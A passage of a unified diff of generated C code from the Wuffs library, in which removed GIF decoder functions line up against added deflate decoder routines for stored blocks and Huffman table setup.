coro_susp_point = self->private_impl.p_decode_up_to_id_part1[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_blocks; ++ if (coro_susp_point) { ++ v_final = self->private_data.s_decode_blocks.v_final; ++ } + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if ((self->private_impl.f_frame_config_io_position == 0u) || (self->private_impl.f_num_decoded_frame_configs_value > 0u)) { +- self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); +- } +- while (true) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ label__outer__continue:; ++ while (v_final == 0u) { ++ while (self->private_impl.f_n_bits < 3u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint32_t t_0 = *iop_a_src++; ++ v_b0 = t_0; + } +- uint8_t t_0 = *iop_a_src++; +- v_block_type = t_0; ++ self->private_impl.f_bits |= (v_b0 << (self->private_impl.f_n_bits & 3u)); ++ self->private_impl.f_n_bits = ((self->private_impl.f_n_bits & 3u) + 8u); + } +- if (v_block_type == 33u) { ++ v_final = (self->private_impl.f_bits & 1u); ++ v_type = ((self->private_impl.f_bits >> 1u) & 3u); ++ self->private_impl.f_bits >>= 3u; ++ self->private_impl.f_n_bits -= 3u; ++ if (v_type == 0u) { + if (a_src) { + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- status = wuffs_gif__decoder__decode_extension(self, a_src); ++ status = wuffs_deflate__decoder__decode_uncompressed(self, a_dst, a_src); + if (a_src) { + iop_a_src = a_src->data.ptr + a_src->meta.ri; + } + if (status.repr) { + goto suspend; + } +- } else if (v_block_type == 44u) { +- if (self->private_impl.f_delayed_num_decoded_frames) { +- self->private_impl.f_delayed_num_decoded_frames = false; +- wuffs_base__u64__sat_add_indirect(&self->private_impl.f_num_decoded_frames_value, 1u); ++ continue; ++ } else if (v_type == 1u) { ++ v_status = wuffs_deflate__decoder__init_fixed_huffman(self); ++ if ( ! wuffs_base__status__is_ok(&v_status)) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; + } ++ } else if (v_type == 2u) { + if (a_src) { + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- status = wuffs_gif__decoder__decode_id_part0(self, a_src); ++ status = wuffs_deflate__decoder__init_dynamic_huffman(self, a_src); + if (a_src) { + iop_a_src = a_src->data.ptr + a_src->meta.ri; + } + if (status.repr) { + goto suspend; + } +- break; + } else { +- if (self->private_impl.f_delayed_num_decoded_frames) { +- self->private_impl.f_delayed_num_decoded_frames = false; +- wuffs_base__u64__sat_add_indirect(&self->private_impl.f_num_decoded_frames_value, 1u); ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_block); ++ goto exit; ++ } ++ self->private_impl.f_end_of_block = false; ++ while (true) { ++ if (sizeof(void*) == 4u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ v_status = wuffs_deflate__decoder__decode_huffman_fast32(self, a_dst, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } else { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ v_status = wuffs_deflate__decoder__decode_huffman_fast64(self, a_dst, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ if (wuffs_base__status__is_error(&v_status)) { ++ status = v_status; ++ goto exit; ++ } ++ if (self->private_impl.f_end_of_block) { ++ goto label__outer__continue; ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ status = wuffs_deflate__decoder__decode_huffman_slow(self, a_dst, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ if (self->private_impl.f_end_of_block) { ++ goto label__outer__continue; + } +- self->private_impl.f_call_sequence = 96u; +- break; + } + } + +- goto ok; + ok: +- self->private_impl.p_decode_up_to_id_part1[0] = 0; ++ self->private_impl.p_decode_blocks = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_up_to_id_part1[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.p_decode_blocks = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_blocks.v_final = v_final; + + goto exit; + exit: +@@ -37816,18 +38920,32 @@ wuffs_gif__decoder__decode_up_to_id_part1( + return status; + } + +-// -------- func gif.decoder.decode_header ++// -------- func deflate.decoder.decode_uncompressed + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_gif__decoder__decode_header( +- wuffs_gif__decoder* self, ++wuffs_deflate__decoder__decode_uncompressed( ++ wuffs_deflate__decoder* self, ++ wuffs_base__io_buffer* a_dst, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint8_t v_c[6] = {0}; +- uint32_t v_i = 0; ++ uint32_t v_length = 0; ++ uint32_t v_n_copied = 0; + ++ uint8_t* iop_a_dst = NULL; ++ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -37839,50 +38957,85 @@ wuffs_gif__decoder__decode_header( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_header[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_uncompressed; + if (coro_susp_point) { +- memcpy(v_c, self->private_data.s_decode_header[0].v_c, sizeof(v_c)); +- v_i = self->private_data.s_decode_header[0].v_i; ++ v_length = self->private_data.s_decode_uncompressed.v_length; + } + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- while (v_i < 6u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> (self->private_impl.f_n_bits & 7u)) != 0u)) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); ++ goto exit; ++ } ++ self->private_impl.f_n_bits = 0u; ++ self->private_impl.f_bits = 0u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint32_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_0 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_uncompressed.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_uncompressed.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; ++ if (num_bits_0 == 24) { ++ t_0 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)) << 56; + } +- uint8_t t_0 = *iop_a_src++; +- v_c[v_i] = t_0; + } +- v_i += 1u; ++ v_length = t_0; + } +- if ((v_c[0u] != 71u) || +- (v_c[1u] != 73u) || +- (v_c[2u] != 70u) || +- (v_c[3u] != 56u) || +- ((v_c[4u] != 55u) && (v_c[4u] != 57u)) || +- (v_c[5u] != 97u)) { +- status = wuffs_base__make_status(wuffs_gif__error__bad_header); ++ if ((((v_length) & 0xFFFFu) + ((v_length) >> (32u - 16u))) != 65535u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__inconsistent_stored_block_length); + goto exit; + } ++ v_length = ((v_length) & 0xFFFFu); ++ while (true) { ++ v_n_copied = wuffs_private_impl__io_writer__limited_copy_u32_from_reader( ++ &iop_a_dst, io2_a_dst,v_length, &iop_a_src, io2_a_src); ++ if (v_length <= v_n_copied) { ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ } ++ v_length -= v_n_copied; ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) == 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); ++ } else { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); ++ } ++ } + +- goto ok; + ok: +- self->private_impl.p_decode_header[0] = 0; ++ self->private_impl.p_decode_uncompressed = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_header[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- memcpy(self->private_data.s_decode_header[0].v_c, v_c, sizeof(v_c)); +- self->private_data.s_decode_header[0].v_i = v_i; ++ self->private_impl.p_decode_uncompressed = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_uncompressed.v_length = v_length; + + goto exit; + exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } + if (a_src && a_src->data.ptr) { + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +@@ -37890,21 +39043,80 @@ wuffs_gif__decoder__decode_header( + return status; + } + +-// -------- func gif.decoder.decode_lsd ++// -------- func deflate.decoder.init_fixed_huffman + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_gif__decoder__decode_lsd( +- wuffs_gif__decoder* self, ++wuffs_deflate__decoder__init_fixed_huffman( ++ wuffs_deflate__decoder* self) { ++ uint32_t v_i = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ while (v_i < 144u) { ++ self->private_data.f_code_lengths[v_i] = 8u; ++ v_i += 1u; ++ } ++ while (v_i < 256u) { ++ self->private_data.f_code_lengths[v_i] = 9u; ++ v_i += 1u; ++ } ++ while (v_i < 280u) { ++ self->private_data.f_code_lengths[v_i] = 7u; ++ v_i += 1u; ++ } ++ while (v_i < 288u) { ++ self->private_data.f_code_lengths[v_i] = 8u; ++ v_i += 1u; ++ } ++ while (v_i < 320u) { ++ self->private_data.f_code_lengths[v_i] = 5u; ++ v_i += 1u; ++ } ++ v_status = wuffs_deflate__decoder__init_huff(self, ++ 0u, ++ 0u, ++ 288u, ++ 257u); ++ if (wuffs_base__status__is_error(&v_status)) { ++ return v_status; ++ } ++ v_status = wuffs_deflate__decoder__init_huff(self, ++ 1u, ++ 288u, ++ 320u, ++ 0u); ++ if (wuffs_base__status__is_error(&v_status)) { ++ return v_status; ++ } ++ return wuffs_base__make_status(NULL); ++} ++ ++// -------- func deflate.decoder.init_dynamic_huffman ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_deflate__decoder__init_dynamic_huffman( ++ wuffs_deflate__decoder* self, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint8_t v_flags = 0; +- uint8_t v_background_color_index = 0; +- uint32_t v_num_palette_entries = 0; ++ uint32_t v_bits = 0; ++ uint32_t v_n_bits = 0; ++ uint32_t v_b0 = 0; ++ uint32_t v_n_lit = 0; ++ uint32_t v_n_dist = 0; ++ uint32_t v_n_clen = 0; + uint32_t v_i = 0; +- uint32_t v_j = 0; +- uint32_t v_argb = 0; ++ uint32_t v_b1 = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ uint32_t v_mask = 0; ++ uint32_t v_table_entry = 0; ++ uint32_t v_table_entry_n_bits = 0; ++ uint32_t v_b2 = 0; ++ uint32_t v_n_extra_bits = 0; ++ uint8_t v_rep_symbol = 0; ++ uint32_t v_rep_count = 0; ++ uint32_t v_b3 = 0; + + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -37917,172 +39129,215 @@ wuffs_gif__decoder__decode_lsd( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_lsd[0]; ++ uint32_t coro_susp_point = self->private_impl.p_init_dynamic_huffman; + if (coro_susp_point) { +- v_flags = self->private_data.s_decode_lsd[0].v_flags; +- v_background_color_index = self->private_data.s_decode_lsd[0].v_background_color_index; +- v_num_palette_entries = self->private_data.s_decode_lsd[0].v_num_palette_entries; +- v_i = self->private_data.s_decode_lsd[0].v_i; ++ v_bits = self->private_data.s_init_dynamic_huffman.v_bits; ++ v_n_bits = self->private_data.s_init_dynamic_huffman.v_n_bits; ++ v_n_lit = self->private_data.s_init_dynamic_huffman.v_n_lit; ++ v_n_dist = self->private_data.s_init_dynamic_huffman.v_n_dist; ++ v_n_clen = self->private_data.s_init_dynamic_huffman.v_n_clen; ++ v_i = self->private_data.s_init_dynamic_huffman.v_i; ++ v_mask = self->private_data.s_init_dynamic_huffman.v_mask; ++ v_n_extra_bits = self->private_data.s_init_dynamic_huffman.v_n_extra_bits; ++ v_rep_symbol = self->private_data.s_init_dynamic_huffman.v_rep_symbol; ++ v_rep_count = self->private_data.s_init_dynamic_huffman.v_rep_count; + } + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- uint32_t t_0; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_0 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_decode_lsd[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- while (true) { ++ v_bits = self->private_impl.f_bits; ++ v_n_bits = self->private_impl.f_n_bits; ++ while (v_n_bits < 14u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint32_t t_0 = *iop_a_src++; ++ v_b0 = t_0; ++ } ++ v_bits |= (v_b0 << v_n_bits); ++ v_n_bits += 8u; ++ } ++ v_n_lit = (((v_bits) & 0x1Fu) + 257u); ++ if (v_n_lit > 286u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_literal_length_code_count); ++ goto exit; ++ } ++ v_bits >>= 5u; ++ v_n_dist = (((v_bits) & 0x1Fu) + 1u); ++ if (v_n_dist > 30u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_distance_code_count); ++ goto exit; ++ } ++ v_bits >>= 5u; ++ v_n_clen = (((v_bits) & 0xFu) + 4u); ++ v_bits >>= 4u; ++ v_n_bits -= 14u; ++ v_i = 0u; ++ while (v_i < v_n_clen) { ++ while (v_n_bits < 3u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_decode_lsd[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; +- if (num_bits_0 == 8) { +- t_0 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)) << 56; ++ uint32_t t_1 = *iop_a_src++; ++ v_b1 = t_1; + } ++ v_bits |= (v_b1 << v_n_bits); ++ v_n_bits += 8u; + } +- self->private_impl.f_width = t_0; ++ self->private_data.f_code_lengths[WUFFS_DEFLATE__CODE_ORDER[v_i]] = ((uint8_t)((v_bits & 7u))); ++ v_bits >>= 3u; ++ v_n_bits -= 3u; ++ v_i += 1u; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- uint32_t t_1; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_1 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_decode_lsd[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- while (true) { ++ while (v_i < 19u) { ++ self->private_data.f_code_lengths[WUFFS_DEFLATE__CODE_ORDER[v_i]] = 0u; ++ v_i += 1u; ++ } ++ v_status = wuffs_deflate__decoder__init_huff(self, ++ 0u, ++ 0u, ++ 19u, ++ 4095u); ++ if (wuffs_base__status__is_error(&v_status)) { ++ status = v_status; ++ goto exit; ++ } ++ v_mask = ((((uint32_t)(1u)) << self->private_impl.f_n_huffs_bits[0u]) - 1u); ++ v_i = 0u; ++ while (v_i < (v_n_lit + v_n_dist)) { ++ while (true) { ++ v_table_entry = self->private_data.f_huffs[0u][(v_bits & v_mask)]; ++ v_table_entry_n_bits = (v_table_entry & 15u); ++ if (v_n_bits >= v_table_entry_n_bits) { ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ break; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_decode_lsd[0].scratch; +- uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; +- if (num_bits_1 == 8) { +- t_1 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_1 += 8u; +- *scratch |= ((uint64_t)(num_bits_1)) << 56; ++ uint32_t t_2 = *iop_a_src++; ++ v_b2 = t_2; + } ++ v_bits |= (v_b2 << v_n_bits); ++ v_n_bits += 8u; + } +- self->private_impl.f_height = t_1; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ if ((v_table_entry >> 24u) != 128u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ goto exit; + } +- uint8_t t_2 = *iop_a_src++; +- v_flags = t_2; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ v_table_entry = ((v_table_entry >> 8u) & 255u); ++ if (v_table_entry < 16u) { ++ self->private_data.f_code_lengths[v_i] = ((uint8_t)(v_table_entry)); ++ v_i += 1u; ++ continue; + } +- uint8_t t_3 = *iop_a_src++; +- v_background_color_index = t_3; +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src++; +- v_i = 0u; +- self->private_impl.f_has_global_palette = ((v_flags & 128u) != 0u); +- if (self->private_impl.f_has_global_palette) { +- v_num_palette_entries = (((uint32_t)(1u)) << (1u + (v_flags & 7u))); +- while (v_i < v_num_palette_entries) { ++ v_n_extra_bits = 0u; ++ v_rep_symbol = 0u; ++ v_rep_count = 0u; ++ if (v_table_entry == 16u) { ++ v_n_extra_bits = 2u; ++ if (v_i <= 0u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code_length_repetition); ++ goto exit; ++ } ++ v_rep_symbol = ((uint8_t)(self->private_data.f_code_lengths[(v_i - 1u)] & 15u)); ++ v_rep_count = 3u; ++ } else if (v_table_entry == 17u) { ++ v_n_extra_bits = 3u; ++ v_rep_symbol = 0u; ++ v_rep_count = 3u; ++ } else if (v_table_entry == 18u) { ++ v_n_extra_bits = 7u; ++ v_rep_symbol = 0u; ++ v_rep_count = 11u; ++ } else { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ goto exit; ++ } ++ while (v_n_bits < v_n_extra_bits) { + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- uint32_t t_4; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 3)) { +- t_4 = ((uint32_t)(wuffs_base__peek_u24be__no_bounds_check(iop_a_src))); +- iop_a_src += 3; +- } else { +- self->private_data.s_decode_lsd[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_lsd[0].scratch; +- uint32_t num_bits_4 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_4); +- if (num_bits_4 == 16) { +- t_4 = ((uint32_t)(*scratch >> 40)); +- break; +- } +- num_bits_4 += 8u; +- *scratch |= ((uint64_t)(num_bits_4)); +- } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- v_argb = t_4; ++ uint32_t t_3 = *iop_a_src++; ++ v_b3 = t_3; + } +- v_argb |= 4278190080u; +- self->private_data.f_palettes[0u][((4u * v_i) + 0u)] = ((uint8_t)((v_argb >> 0u))); +- self->private_data.f_palettes[0u][((4u * v_i) + 1u)] = ((uint8_t)((v_argb >> 8u))); +- self->private_data.f_palettes[0u][((4u * v_i) + 2u)] = ((uint8_t)((v_argb >> 16u))); +- self->private_data.f_palettes[0u][((4u * v_i) + 3u)] = ((uint8_t)((v_argb >> 24u))); +- v_i += 1u; ++ v_bits |= (v_b3 << v_n_bits); ++ v_n_bits += 8u; + } +- if (self->private_impl.f_quirks[2u]) { +- if ((v_background_color_index != 0u) && (((uint32_t)(v_background_color_index)) < v_num_palette_entries)) { +- v_j = (4u * ((uint32_t)(v_background_color_index))); +- self->private_impl.f_background_color_u32_argb_premul = ((((uint32_t)(self->private_data.f_palettes[0u][(v_j + 0u)])) << 0u) | +- (((uint32_t)(self->private_data.f_palettes[0u][(v_j + 1u)])) << 8u) | +- (((uint32_t)(self->private_data.f_palettes[0u][(v_j + 2u)])) << 16u) | +- (((uint32_t)(self->private_data.f_palettes[0u][(v_j + 3u)])) << 24u)); +- } else { +- self->private_impl.f_background_color_u32_argb_premul = 77u; ++ v_rep_count += ((v_bits) & WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U32(v_n_extra_bits)); ++ v_bits >>= v_n_extra_bits; ++ v_n_bits -= v_n_extra_bits; ++ while (v_rep_count > 0u) { ++ if (v_i >= (v_n_lit + v_n_dist)) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code_length_count); ++ goto exit; + } ++ self->private_data.f_code_lengths[v_i] = v_rep_symbol; ++ v_i += 1u; ++ v_rep_count -= 1u; + } + } +- while (v_i < 256u) { +- self->private_data.f_palettes[0u][((4u * v_i) + 0u)] = 0u; +- self->private_data.f_palettes[0u][((4u * v_i) + 1u)] = 0u; +- self->private_data.f_palettes[0u][((4u * v_i) + 2u)] = 0u; +- self->private_data.f_palettes[0u][((4u * v_i) + 3u)] = 255u; +- v_i += 1u; ++ if (v_i != (v_n_lit + v_n_dist)) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code_length_count); ++ goto exit; ++ } ++ if (self->private_data.f_code_lengths[256u] == 0u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__missing_end_of_block_code); ++ goto exit; ++ } ++ v_status = wuffs_deflate__decoder__init_huff(self, ++ 0u, ++ 0u, ++ v_n_lit, ++ 257u); ++ if (wuffs_base__status__is_error(&v_status)) { ++ status = v_status; ++ goto exit; ++ } ++ v_status = wuffs_deflate__decoder__init_huff(self, ++ 1u, ++ v_n_lit, ++ (v_n_lit + v_n_dist), ++ 0u); ++ if (wuffs_base__status__is_error(&v_status)) { ++ status = v_status; ++ goto exit; + } ++ self->private_impl.f_bits = v_bits; ++ self->private_impl.f_n_bits = v_n_bits; + + goto ok; + ok: +- self->private_impl.p_decode_lsd[0] = 0; ++ self->private_impl.p_init_dynamic_huffman = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_lsd[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_decode_lsd[0].v_flags = v_flags; +- self->private_data.s_decode_lsd[0].v_background_color_index = v_background_color_index; +- self->private_data.s_decode_lsd[0].v_num_palette_entries = v_num_palette_entries; +- self->private_data.s_decode_lsd[0].v_i = v_i; ++ self->private_impl.p_init_dynamic_huffman = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_init_dynamic_huffman.v_bits = v_bits; ++ self->private_data.s_init_dynamic_huffman.v_n_bits = v_n_bits; ++ self->private_data.s_init_dynamic_huffman.v_n_lit = v_n_lit; ++ self->private_data.s_init_dynamic_huffman.v_n_dist = v_n_dist; ++ self->private_data.s_init_dynamic_huffman.v_n_clen = v_n_clen; ++ self->private_data.s_init_dynamic_huffman.v_i = v_i; ++ self->private_data.s_init_dynamic_huffman.v_mask = v_mask; ++ self->private_data.s_init_dynamic_huffman.v_n_extra_bits = v_n_extra_bits; ++ self->private_data.s_init_dynamic_huffman.v_rep_symbol = v_rep_symbol; ++ self->private_data.s_init_dynamic_huffman.v_rep_count = v_rep_count; + + goto exit; + exit: +@@ -38093,185 +39348,299 @@ wuffs_gif__decoder__decode_lsd( + return status; + } + +-// -------- func gif.decoder.decode_extension ++// -------- func deflate.decoder.init_huff + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_gif__decoder__decode_extension( +- wuffs_gif__decoder* self, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint8_t v_label = 0; ++wuffs_deflate__decoder__init_huff( ++ wuffs_deflate__decoder* self, ++ uint32_t a_which, ++ uint32_t a_n_codes0, ++ uint32_t a_n_codes1, ++ uint32_t a_base_symbol) { ++ uint16_t v_counts[16] = {0}; ++ uint32_t v_i = 0; ++ uint32_t v_remaining = 0; ++ uint16_t v_offsets[16] = {0}; ++ uint32_t v_n_symbols = 0; ++ uint32_t v_count = 0; ++ uint16_t v_symbols[320] = {0}; ++ uint32_t v_min_cl = 0; ++ uint32_t v_max_cl = 0; ++ uint32_t v_initial_high_bits = 0; ++ uint32_t v_prev_cl = 0; ++ uint32_t v_prev_redirect_key = 0; ++ uint32_t v_top = 0; ++ uint32_t v_next_top = 0; ++ uint32_t v_code = 0; ++ uint32_t v_key = 0; ++ uint32_t v_value = 0; ++ uint32_t v_cl = 0; ++ uint32_t v_redirect_key = 0; ++ uint32_t v_j = 0; ++ uint32_t v_reversed_key = 0; ++ uint32_t v_symbol = 0; ++ uint32_t v_high_bits = 0; ++ uint32_t v_delta = 0; + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; ++ 